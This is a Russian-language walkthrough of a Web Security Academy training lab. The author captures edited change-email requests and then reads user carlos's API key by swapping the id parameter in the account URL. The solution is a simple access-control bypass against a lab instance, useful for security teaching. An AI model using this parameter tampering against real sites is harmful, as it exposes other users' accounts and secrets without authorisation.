Для решения лабы нужно получить API токен пользователя carlos. Для входа есть креды от учетной записи wiener:peter.
https://0a48009d04e7fa778098948800df006c.web-security-academy.net/
Solution
Зайду в данную учетку.
Ничего интересного не вижу, кроме функции изменения почты. Попробую это сделать:
POST /my-account/change-email HTTP/2
Host: 0a48009d04e7fa778098948800df006c.web-security-academy.net
Cookie: session=Ps1zcdu7m7TTe4808VPrxUKDXSuWKRn9
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:138.0) Gecko/20100101 Firefox/138.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: https://0a48009d04e7fa778098948800df006c.web-security-academy.net/my-account?id=wiener
Content-Type: application/x-www-form-urlencoded
Content-Length: 59
Origin: https://0a48009d04e7fa778098948800df006c.web-security-academy.net
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Priority: u=0, i
Te: trailers
email=mail%40mail.com&csrf=ZtSk4EzKiCJQNaeRPb3EMaBcu3GtKrPr
Попробую изменить значение в теле запроса:
POST /my-account/change-email HTTP/2
Host: 0a48009d04e7fa778098948800df006c.web-security-academy.net
Cookie: session=Ps1zcdu7m7TTe4808VPrxUKDXSuWKRn9
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:138.0) Gecko/20100101 Firefox/138.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: https://0a48009d04e7fa778098948800df006c.web-security-academy.net/my-account?id=wiener
Content-Type: application/x-www-form-urlencoded
Content-Length: 55
Origin: https://0a48009d04e7fa778098948800df006c.web-security-academy.net
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Priority: u=0, i
Te: trailers
username=new_name&csrf=Rl2U5qcaKmFk73pWIeHEhEvMWI8XpJqG
Запрос обработан, но ничего путного не вышло. Попробую сделать еще проще: в URL указано имя wiener в параметре id, подставлю carlos)
https://0a48009d04e7fa778098948800df006c.web-security-academy.net/my-account?id=carlos

Сдам API ключ:
